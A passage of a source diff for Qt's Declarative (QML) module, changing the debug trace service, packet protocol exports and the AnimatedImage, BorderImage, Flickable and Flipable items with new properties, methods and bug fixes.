-void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &url)
+void QDeclarativeDebugTrace::rangeData(RangeType t, const QString &data)
{
if (QDeclarativeDebugService::isDebuggingEnabled())
- traceInstance()->rangeDataImpl(t, url);
+ traceInstance()->rangeDataImpl(t, data);
+}
+
+void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &data)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->rangeDataImpl(t, data);
+}
+
+void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QString &fileName, int line)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->rangeLocationImpl(t, fileName, line);
+}
+
+void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QUrl &fileName, int line)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->rangeLocationImpl(t, fileName, line);
}
void QDeclarativeDebugTrace::endRange(RangeType t)
@@ -78,45 +114,105 @@ void QDeclarativeDebugTrace::endRange(RangeType t)
void QDeclarativeDebugTrace::addEventImpl(EventType event)
{
- if (status() != Enabled)
+ if (status() != Enabled || !m_enabled)
return;
- QByteArray data;
- QDataStream ds(&data, QIODevice::WriteOnly);
- ds << m_timer.elapsed() << (int)Event << (int)event;
- sendMessage(data);
+ QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString(), -1};
+ processMessage(ed);
}
void QDeclarativeDebugTrace::startRangeImpl(RangeType range)
{
- if (status() != Enabled)
+ if (status() != Enabled || !m_enabled)
return;
- QByteArray data;
- QDataStream ds(&data, QIODevice::WriteOnly);
- ds << m_timer.elapsed() << (int)RangeStart << (int)range;
- sendMessage(data);
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString(), -1};
+ processMessage(rd);
}
-void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &u)
+void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData)
{
- if (status() != Enabled)
+ if (status() != Enabled || !m_enabled)
return;
- QByteArray data;
- QDataStream ds(&data, QIODevice::WriteOnly);
- ds << m_timer.elapsed() << (int)RangeData << (int)range << (QString)u.toString();
- sendMessage(data);
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData, -1};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toString(QUrl::FormattingOption(0x100)), -1};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QString &fileName, int line)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName, line};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QUrl &fileName, int line)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toString(QUrl::FormattingOption(0x100)), line};
+ processMessage(rd);
}
void QDeclarativeDebugTrace::endRangeImpl(RangeType range)
{
- if (status() != Enabled)
+ if (status() != Enabled || !m_enabled)
return;
- QByteArray data;
- QDataStream ds(&data, QIODevice::WriteOnly);
- ds << m_timer.elapsed() << (int)RangeEnd << (int)range;
- sendMessage(data);
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString(), -1};
+ processMessage(rd);
+}
+
+/*
+ Either send the message directly, or queue up
+ a list of messages to send later (via sendMessages)
+*/
+void QDeclarativeDebugTrace::processMessage(const QDeclarativeDebugData &message)
+{
+ if (m_deferredSend)
+ m_data.append(message);
+ else
+ sendMessage(message.toByteArray());
}
+/*
+ Send the messages queued up by processMessage
+*/
+void QDeclarativeDebugTrace::sendMessages()
+{
+ if (m_deferredSend) {
+ //### this is a suboptimal way to send batched messages
+ for (int i = 0; i < m_data.count(); ++i)
+ sendMessage(m_data.at(i).toByteArray());
+ m_data.clear();
+
+ //indicate completion
+ QByteArray data;
+ QDataStream ds(&data, QIODevice::WriteOnly);
+ ds << (qint64)-1 << (int)Complete;
+ sendMessage(data);
+ }
+}
+
+void QDeclarativeDebugTrace::messageReceived(const QByteArray &message)
+{
+ QByteArray rwData = message;
+ QDataStream stream(&rwData, QIODevice::ReadOnly);
+
+ stream >> m_enabled;
+
+ if (!m_enabled)
+ sendMessages();
+}
diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h
index 008b618..ae0653e 100644
--- a/src/declarative/debugger/qdeclarativedebugtrace_p.h
+++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h
@@ -43,37 +43,54 @@
#define QDECLARATIVEDEBUGTRACE_P_H
#include <private/qdeclarativedebugservice_p.h>
-#include <QtCore/qelapsedtimer.h>
+#include <private/qperformancetimer_p.h>
QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
+struct QDeclarativeDebugData
+{
+ qint64 time;
+ int messageType;
+ int detailType;
+
+ //###
+ QString detailData; //used by RangeData and RangeLocation
+ int line; //used by RangeLocation
+
+ QByteArray toByteArray() const;
+};
+
class QUrl;
class Q_AUTOTEST_EXPORT QDeclarativeDebugTrace : public QDeclarativeDebugService
{
public:
- enum EventType {
- FramePaint,
- Mouse,
- Key,
-
- MaximumEventType
- };
-
enum Message {
Event,
RangeStart,
RangeData,
+ RangeLocation,
RangeEnd,
+ Complete,
MaximumMessage
};
+ enum EventType {
+ FramePaint,
+ Mouse,
+ Key,
+
+ MaximumEventType
+ };
+
enum RangeType {
Painting,
Compiling,
Creating,
+ Binding, //running a binding
+ HandlingSignal, //running a signal handler
MaximumRangeType
};
@@ -81,16 +98,29 @@ public:
static void addEvent(EventType);
static void startRange(RangeType);
+ static void rangeData(RangeType, const QString &);
static void rangeData(RangeType, const QUrl &);
+ static void rangeLocation(RangeType, const QString &, int);
+ static void rangeLocation(RangeType, const QUrl &, int);
static void endRange(RangeType);
QDeclarativeDebugTrace();
+protected:
+ virtual void messageReceived(const QByteArray &);
private:
void addEventImpl(EventType);
void startRangeImpl(RangeType);
+ void rangeDataImpl(RangeType, const QString &);
void rangeDataImpl(RangeType, const QUrl &);
+ void rangeLocationImpl(RangeType, const QString &, int);
+ void rangeLocationImpl(RangeType, const QUrl &, int);
void endRangeImpl(RangeType);
- QElapsedTimer m_timer;
+ void processMessage(const QDeclarativeDebugData &);
+ void sendMessages();
+ QPerformanceTimer m_timer;
+ bool m_enabled;
+ bool m_deferredSend;
+ QList<QDeclarativeDebugData> m_data;
};
QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qpacketprotocol.cpp b/src/declarative/debugger/qpacketprotocol.cpp
index 0adfb76..15a14cf 100644
--- a/src/declarative/debugger/qpacketprotocol.cpp
+++ b/src/declarative/debugger/qpacketprotocol.cpp
@@ -407,6 +407,7 @@ QPacket::QPacket()
buf = new QBuffer(&b);
buf->open(QIODevice::WriteOnly);
setDevice(buf);
+ setVersion(QDataStream::Qt_4_7);
}
/*!
@@ -452,6 +453,14 @@ bool QPacket::isEmpty() const
}
/*!
+ Returns raw packet data.
+ */
+QByteArray QPacket::data() const
+{
+ return b;
+}
+
+/*!
Clears data in the packet. This is useful for reusing one writable packet.
For example
\code
diff --git a/src/declarative/debugger/qpacketprotocol_p.h b/src/declarative/debugger/qpacketprotocol_p.h
index 120579d..accb8ef 100644
--- a/src/declarative/debugger/qpacketprotocol_p.h
+++ b/src/declarative/debugger/qpacketprotocol_p.h
@@ -59,7 +59,7 @@ class QPacket;
class QPacketAutoSend;
class QPacketProtocolPrivate;
-class Q_DECLARATIVE_PRIVATE_EXPORT QPacketProtocol : public QObject
+class Q_DECLARATIVE_EXPORT QPacketProtocol : public QObject
{
Q_OBJECT
public:
@@ -89,7 +89,7 @@ private:
};
-class Q_DECLARATIVE_PRIVATE_EXPORT QPacket : public QDataStream
+class Q_DECLARATIVE_EXPORT QPacket : public QDataStream
{
public:
QPacket();
@@ -98,6 +98,7 @@ public:
void clear();
bool isEmpty() const;
+ QByteArray data() const;
protected:
friend class QPacketProtocol;
diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro
index 4ed4f9f..6bd314f 100644
--- a/src/declarative/declarative.pro
+++ b/src/declarative/declarative.pro
@@ -27,6 +27,13 @@ include(debugger/debugger.pri)
symbian: {
TARGET.UID3=0x2001E623
LIBS += -lefsrv
+
+ contains(QT_CONFIG, freetype) {
+ DEFINES += QT_NO_FONTCONFIG
+ INCLUDEPATH += \
+ ../3rdparty/freetype/src \
+ ../3rdparty/freetype/include
+ }
}
DEFINES += QT_NO_OPENTYPE
diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri
index ffdeb29..9904274 100644
--- a/src/declarative/graphicsitems/graphicsitems.pri
+++ b/src/declarative/graphicsitems/graphicsitems.pri
@@ -50,7 +50,12 @@ HEADERS += \
$$PWD/qdeclarativelayoutitem_p.h \
$$PWD/qdeclarativeitemchangelistener_p.h \
$$PWD/qdeclarativegraphicswidget_p.h \
- $$PWD/qdeclarativetextlayout_p.h
+ $$PWD/qdeclarativetextlayout_p.h \
+ $$PWD/qdeclarativepincharea_p.h \
+ $$PWD/qdeclarativepincharea_p_p.h \
+ $$PWD/qdeclarativeimplicitsizeitem_p.h \
+ $$PWD/qdeclarativeimplicitsizeitem_p_p.h
+
SOURCES += \
$$PWD/qdeclarativeitemsmodule.cpp \
@@ -83,5 +88,7 @@ SOURCES += \
$$PWD/qdeclarativelistview.cpp \
$$PWD/qdeclarativelayoutitem.cpp \
$$PWD/qdeclarativegraphicswidget.cpp \
- $$PWD/qdeclarativetextlayout.cpp
+ $$PWD/qdeclarativetextlayout.cpp \
+ $$PWD/qdeclarativepincharea.cpp \
+ $$PWD/qdeclarativeimplicitsizeitem.cpp
diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
index 4729817..016b87d 100644
--- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
@@ -86,6 +86,25 @@ QT_BEGIN_NAMESPACE
\sa BorderImage, Image
*/
+/*!
+ \qmlproperty bool AnimatedImage::cache
+ \since Quick 1.1
+
+ Specifies whether the image should be cached. The default value is
+ true. Setting \a cache to false is useful when dealing with large images,
+ to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+ \qmlproperty bool AnimatedImage::mirror
+ \since Quick 1.1
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
+
QDeclarativeAnimatedImage::QDeclarativeAnimatedImage(QDeclarativeItem *parent)
: QDeclarativeImage(*(new QDeclarativeAnimatedImagePrivate), parent)
{
@@ -126,7 +145,7 @@ void QDeclarativeAnimatedImage::setPaused(bool pause)
\qmlproperty bool AnimatedImage::playing
This property holds whether the animated image is playing.
- By defaults, this property is true, meaning that the animation
+ By default, this property is true, meaning that the animation
will start playing immediately.
*/
bool QDeclarativeAnimatedImage::isPlaying() const
@@ -202,13 +221,22 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url)
}
d->url = url;
+ emit sourceChanged(d->url);
+
+ if (isComponentComplete())
+ load();
+}
+
+void QDeclarativeAnimatedImage::load()
+{
+ Q_D(QDeclarativeAnimatedImage);
- if (url.isEmpty()) {
+ if (d->url.isEmpty()) {
delete d->_movie;
d->status = Null;
} else {
#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML
- QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+ QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url);
if (!lf.isEmpty()) {
//### should be unified with movieRequestFinished
d->_movie = new QMovie(lf);
@@ -216,6 +244,8 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url)
qmlInfo(this) << "Error Reading Animated Image File " << d->url.toString();
delete d->_movie;
d->_movie = 0;
+ d->status = Error;
+ emit statusChanged(d->status);
return;
}
connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)),
@@ -245,7 +275,6 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url)
QObject::connect(d->reply, SIGNAL(finished()),
this, SLOT(movieRequestFinished()));
}
-
emit statusChanged(d->status);
}
@@ -275,6 +304,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished()
#endif
delete d->_movie;
d->_movie = 0;
+ d->status = Error;
+ emit statusChanged(d->status);
return;
}
connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)),
@@ -291,6 +322,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished()
if(d->paused)
d->_movie->setPaused(true);
d->setPixmap(d->_movie->currentPixmap());
+ d->status = Ready;
+ emit statusChanged(d->status);
}
void QDeclarativeAnimatedImage::movieUpdate()
@@ -317,6 +350,8 @@ void QDeclarativeAnimatedImage::componentComplete()
{
Q_D(QDeclarativeAnimatedImage);
QDeclarativeItem::componentComplete(); // NOT QDeclarativeImage
+ if (d->url.isValid())
+ load();
if (!d->reply) {
setCurrentFrame(d->preset_currentframe);
d->preset_currentframe = 0;
diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
index e5025bf..e2ed70b 100644
--- a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
@@ -97,6 +97,7 @@ private Q_SLOTS:
void playingStatusChanged();
protected:
+ virtual void load();
void componentComplete();
private:
diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
index 16fb376..c03c624 100644
--- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
@@ -200,6 +200,16 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage()
*/
/*!
+ \qmlproperty bool BorderImage::mirror
+ \since Quick 1.1
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
+
+/*!
\qmlproperty url BorderImage::source
This property holds the URL that refers to the source image.
@@ -215,17 +225,29 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage()
image \c picture.png:
\qml
- border.left: 10
- border.top: 10
- border.bottom: 10
- border.right: 10
- source: picture.png
+ BorderImage {
+ border.left: 10
+ border.top: 10
+ border.bottom: 10
+ border.right: 10
+ source: "picture.png"
+ }
\endqml
The URL may be absolute, or relative to the URL of the component.
\sa QDeclarativeImageProvider
*/
+
+/*!
+ \qmlproperty QSize BorderImage::sourceSize
+
+ This property holds the actual width and height of the loaded image.
+
+ In BorderImage, this property is read-only.
+
+ \sa Image::sourceSize
+*/
void QDeclarativeBorderImage::setSource(const QUrl &url)
{
Q_D(QDeclarativeBorderImage);
@@ -290,7 +312,12 @@ void QDeclarativeBorderImage::load()
}
} else {
- d->pix.load(qmlEngine(this), d->url, d->async);
+ QDeclarativePixmap::Options options;
+ if (d->async)
+ options |= QDeclarativePixmap::Asynchronous;
+ if (d->cache)
+ options |= QDeclarativePixmap::Cache;
+ d->pix.load(qmlEngine(this), d->url, options);
if (d->pix.isLoading()) {
d->pix.connectFinished(this, SLOT(requestFinished()));
@@ -310,6 +337,7 @@ void QDeclarativeBorderImage::load()
d->progress = 1.0;
emit statusChanged(d->status);
emit progressChanged(d->progress);
+ requestFinished();
update();
}
}
@@ -337,7 +365,10 @@ void QDeclarativeBorderImage::load()
the bottom of the image:
\qml
- border.bottom: 10
+ BorderImage {
+ border.bottom: 10
+ // ...
+ }
\endqml
The border lines can also be specified using a
@@ -413,7 +444,12 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma
d->sciurl = d->url.resolved(QUrl(sci.pixmapUrl()));
- d->pix.load(qmlEngine(this), d->sciurl, d->async);
+ QDeclarativePixmap::Options options;
+ if (d->async)
+ options |= QDeclarativePixmap::Asynchronous;
+ if (d->cache)
+ options |= QDeclarativePixmap::Cache;
+ d->pix.load(qmlEngine(this), d->sciurl, options);
if (d->pix.isLoading()) {
static int thisRequestProgress = -1;
@@ -465,6 +501,9 @@ void QDeclarativeBorderImage::requestFinished()
setImplicitWidth(impsize.width());
setImplicitHeight(impsize.height());
+ if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height())
+ emit sourceSizeChanged();
+
d->progress = 1.0;
emit statusChanged(d->status);
emit progressChanged(1.0);
@@ -514,8 +553,15 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem
bool oldAA = p->testRenderHint(QPainter::Antialiasing);
bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
+ QTransform oldTransform;
if (d->smooth)
p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+ if (d->mirror) {
+ oldTransform = p->transform();
+ QTransform mirror;
+ mirror.translate(d->width(), 0).scale(-1, 1.0);
+ p->setWorldTransform(mirror * oldTransform);
+ }
const QDeclarativeScaleGrid *border = d->getScaleGrid();
int left = border->left();
@@ -541,6 +587,8 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem
p->setRenderHint(QPainter::Antialiasing, oldAA);
p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
}
+ if (d->mirror)
+ p->setWorldTransform(oldTransform);
}
QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
index ca1eae8..f4c6594 100644
--- a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
@@ -63,6 +63,9 @@ class Q_AUTOTEST_EXPORT QDeclarativeBorderImage : public QDeclarativeImageBase
Q_PROPERTY(TileMode horizontalTileMode READ horizontalTileMode WRITE setHorizontalTileMode NOTIFY horizontalTileModeChanged)
Q_PROPERTY(TileMode verticalTileMode READ verticalTileMode WRITE setVerticalTileMode NOTIFY verticalTileModeChanged)
+ // read-only for BorderImage
+ Q_PROPERTY(QSize sourceSize READ sourceSize NOTIFY sourceSizeChanged)
+
public:
QDeclarativeBorderImage(QDeclarativeItem *parent=0);
~QDeclarativeBorderImage();
@@ -83,6 +86,7 @@ public:
Q_SIGNALS:
void horizontalTileModeChanged();
void verticalTileModeChanged();
+ void sourceSizeChanged();
protected:
virtual void load();
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
index db63cda..1f1b39a 100644
--- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
@@ -53,6 +53,10 @@ QT_BEGIN_NAMESPACE
// before we perform a flick.
static const int FlickThreshold = 20;
+// RetainGrabVelocity is the maxmimum instantaneous velocity that
+// will ensure the Flickable retains the grab on consecutive flicks.
+static const int RetainGrabVelocity = 15;
+
QDeclarativeFlickableVisibleArea::QDeclarativeFlickableVisibleArea(QDeclarativeFlickable *parent)
: QObject(parent), flickable(parent), m_xPosition(0.), m_widthRatio(0.)
, m_yPosition(0.), m_heightRatio(0.)
@@ -299,7 +303,7 @@ void QDeclarativeFlickablePrivate::fixup(AxisData &data, qreal minExtent, qreal
timeline.move(data.move, maxExtent - dist/2, QEasingCurve(QEasingCurve::InQuad), fixupDuration/4);
timeline.move(data.move, maxExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4);
} else {
- timeline.set(data.move, minExtent);
+ timeline.set(data.move, maxExtent);
}
}
vTime = timeline.time();
@@ -373,9 +377,9 @@ void QDeclarativeFlickablePrivate::updateBeginningEnd()
\section1 Example Usage
- \beginfloatright
+ \div {float-right}
\inlineimage flickable.gif
- \endfloat
+ \enddiv
The following example shows a small view onto a large image in which the
user can drag or flick the image in order to view different parts of it.
@@ -672,7 +676,8 @@ void QDeclarativeFlickable::setFlickableDirection(FlickableDirection direction)
void QDeclarativeFlickablePrivate::handleMousePressEvent(QGraphicsSceneMouseEvent *event)
{
Q_Q(QDeclarativeFlickable);
- if (interactive && timeline.isActive() && (qAbs(hData.velocity) > 10 || qAbs(vData.velocity) > 10))
+ if (interactive && timeline.isActive()
+ && (qAbs(hData.smoothVelocity.value()) > RetainGrabVelocity || qAbs(vData.smoothVelocity.value()) > RetainGrabVelocity))
stealMouse = true; // If we've been flicked then steal the click.
else
stealMouse = false;
@@ -840,7 +845,8 @@ void QDeclarativeFlickable::mousePressEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeFlickable);
if (d->interactive) {
- d->handleMousePressEvent(event);
+ if (!d->pressed)
+ d->handleMousePressEvent(event);
event->accept();
} else {
QDeclarativeItem::mousePressEvent(event);
@@ -876,7 +882,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event)
Q_D(QDeclarativeFlickable);
if (!d->interactive) {
QDeclarativeItem::wheelEvent(event);
- } else if (yflick()) {
+ } else if (yflick() && event->orientation() == Qt::Vertical) {
if (event->delta() > 0)
d->vData.velocity = qMax(event->delta() - d->vData.smoothVelocity.value(), qreal(250.0));
else
@@ -888,7 +894,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event)
movementStarting();
}
event->accept();
- } else if (xflick()) {
+ } else if (xflick() && event->orientation() == Qt::Horizontal) {
if (event->delta() > 0)
d->hData.velocity = qMax(event->delta() - d->hData.smoothVelocity.value(), qreal(250.0));
else
@@ -905,11 +911,27 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event)
}
}
+bool QDeclarativeFlickablePrivate::isOutermostPressDelay() const
+{
+ Q_Q(const QDeclarativeFlickable);
+ QDeclarativeItem *item = q->parentItem();
+ while (item) {
+ QDeclarativeFlickable *flick = qobject_cast<QDeclarativeFlickable*>(item);
+ if (flick && flick->pressDelay() > 0 && flick->isInteractive())
+ return false;
+ item = item->parentItem();
+ }
+
+ return true;
+}
+
void QDeclarativeFlickablePrivate::captureDelayedPress(QGraphicsSceneMouseEvent *event)
{
Q_Q(QDeclarativeFlickable);
if (!q->scene() || pressDelay <= 0)
return;
+ if (!isOutermostPressDelay())
+ return;
delayedPressTarget = q->scene()->mouseGrabberItem();
delayedPressEvent = new QGraphicsSceneMouseEvent(event->type());
delayedPressEvent->setAccepted(false);
@@ -965,9 +987,10 @@ void QDeclarativeFlickable::timerEvent(QTimerEvent *event)
if (scene()->mouseGrabberItem() == d->delayedPressTarget)
d->delayedPressTarget->ungrabMouse();
//Use the event handler that will take care of finding the proper item to propagate the event
- QApplication::sendEvent(scene(), d->delayedPressEvent);
+ QApplication::postEvent(scene(), d->delayedPressEvent);
+ } else {
+ delete d->delayedPressEvent;
}
- delete d->delayedPressEvent;
d->delayedPressEvent = 0;
}
}
@@ -1250,6 +1273,60 @@ void QDeclarativeFlickable::setContentHeight(qreal h)
d->updateBeginningEnd();
}
+/*!
+ \qmlmethod Flickable::resizeContent(real width, real height, QPointF center)
+ \preliminary
+
+ Resizes the content to \a width x \a height about \a center.
+
+ \bold {This method was added in QtQuick 1.1.}
+
+ This does not scale the contents of the Flickable - it only resizes the \l contentWidth
+ and \l contentHeight.
+
+ Resizing the content may result in the content being positioned outside
+ the bounds of the Flickable. Calling \l returnToBounds() will
+ move the content back within legal bounds.
+*/
+void QDeclarativeFlickable::resizeContent(qreal w, qreal h, QPointF center)
+{
+ Q_D(QDeclarativeFlickable);
+ if (w != d->hData.viewSize) {
+ qreal oldSize = d->hData.viewSize;
+ setContentWidth(w);
+ if (center.x() != 0) {
+ qreal pos = center.x() * w / oldSize;
+ setContentX(contentX() + pos - center.x());
+ }
+ }
+ if (h != d->vData.viewSize) {
+ qreal oldSize = d->vData.viewSize;
+ setContentHeight(h);
+ if (center.y() != 0) {
+ qreal pos = center.y() * h / oldSize;
+ setContentY(contentY() + pos - center.y());
+ }
+ }
+}
+
+/*!
+ \qmlmethod Flickable::returnToBounds()
+ \preliminary
+
+ Ensures the content is within legal bounds.
+
+ \bold {This method was added in QtQuick 1.1.}
+
+ This may be called to ensure that the content is within legal bounds
+ after manually positioning the content.
+*/
+void QDeclarativeFlickable::returnToBounds()
+{
+ Q_D(QDeclarativeFlickable);
+ d->fixupX();
+ d->fixupY();
+}
+
qreal QDeclarativeFlickable::vWidth() const
{
Q_D(const QDeclarativeFlickable);
@@ -1284,6 +1361,22 @@ bool QDeclarativeFlickable::yflick() const
return d->flickableDirection & QDeclarativeFlickable::VerticalFlick;
}
+bool QDeclarativeFlickable::sceneEvent(QEvent *event)
+{
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ Q_D(QDeclarativeFlickable);
+ if (d->pressed) {
+ // if our mouse grab has been removed (probably by another Flickable),
+ // fix our state
+ d->pressed = false;
+ d->stealMouse = false;
+ setKeepMouseGrab(false);
+ }
+ }
+ return rv;
+}
+
bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeFlickable);
@@ -1311,7 +1404,7 @@ bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
d->handleMouseMoveEvent(&mouseEvent);
break;
case QEvent::GraphicsSceneMousePress:
- if (d->delayedPressEvent)
+ if (d->pressed) // we are already pressed - this is a delayed replay
return false;
d->handleMousePressEvent(&mouseEvent);
@@ -1330,6 +1423,8 @@ bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
// We send the release
scene()->sendEvent(s->mouseGrabberItem(), event);
// And the event has been consumed
+ d->stealMouse = false;
+ d->pressed = false;
return true;
}
d->handleMouseReleaseEvent(&mouseEvent);
@@ -1352,6 +1447,7 @@ bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
d->stealMouse = false;
d->pressed = false;
}
+
return false;
}
@@ -1450,6 +1546,9 @@ bool QDeclarativeFlickable::isFlickingVertically() const
If the flickable is dragged/flicked before the delay times out
the press event will not be delivered. If the button is released
within the timeout, both the press and release will be delivered.
+
+ Note that for nested Flickables with pressDelay set, the pressDelay of
+ inner Flickables is overridden by the outermost Flickable.
*/
int QDeclarativeFlickable::pressDelay() const
{
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h
index 1359dc8..a14cc1c 100644
--- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h
@@ -149,6 +149,9 @@ public:
FlickableDirection flickableDirection() const;
void setFlickableDirection(FlickableDirection);
+ Q_INVOKABLE Q_REVISION(1) void resizeContent(qreal w, qreal h, QPointF center);
+ Q_INVOKABLE Q_REVISION(1) void returnToBounds();
+
Q_SIGNALS:
void contentWidthChanged();
void contentHeightChanged();
@@ -201,6 +204,7 @@ protected:
virtual void viewportMoved();
virtual void geometryChanged(const QRectF &newGeometry,
const QRectF &oldGeometry);
+ bool sceneEvent(QEvent *event);
bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
bool xflick() const;
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
index 5ad6ff6..1b6081c 100644
--- a/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
@@ -118,6 +118,7 @@ public:
void updateBeginningEnd();
+ bool isOutermostPressDelay() const;
void captureDelayedPress(QGraphicsSceneMouseEvent *event);
void clearDelayedPress();
diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
index 160872c..5fda758 100644
--- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
@@ -142,6 +142,7 @@ void QDeclarativeFlipable::setFront(QGraphicsObject *front)
d->front->setParentItem(this);
if (Back == d->current)
d->front->setOpacity(0.);
+ emit frontChanged();
}
QGraphicsObject *QDeclarativeFlipable::back()
@@ -165,6 +166,7 @@ void QDeclarativeFlipable::setBack(QGraphicsObject *back)
this, SLOT(retransformBack()));
connect(back, SIGNAL(heightChanged()),
this, SLOT(retransformBack()));
+ emit backChanged();
}
void QDeclarativeFlipable::retransformBack()
diff --git a/src/declarative/graphicsitems/qdeclarativeflipable_p.h b/src/declarative/graphicsitems/qdeclarativeflipable_p.h
index c294697..4ea2ec0 100644
--- a/src/declarative/graphicsitems/qdeclarativeflipable_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeflipable_p.h
@@ -60,8 +60,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeFlipable : public QDeclarativeItem
Q_OBJECT
Q_ENUMS(Side)
- Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront)
- Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack)
+ Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront NOTIFY frontChanged)
+ Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack NOTIFY backChanged)
Q_PROPERTY(Side side READ side NOTIFY sideChanged)
//### flipAxis
//### flipRotation
@@ -79,6 +79,8 @@ public:
Side side() const;
Q_SIGNALS:
+ void frontChanged();
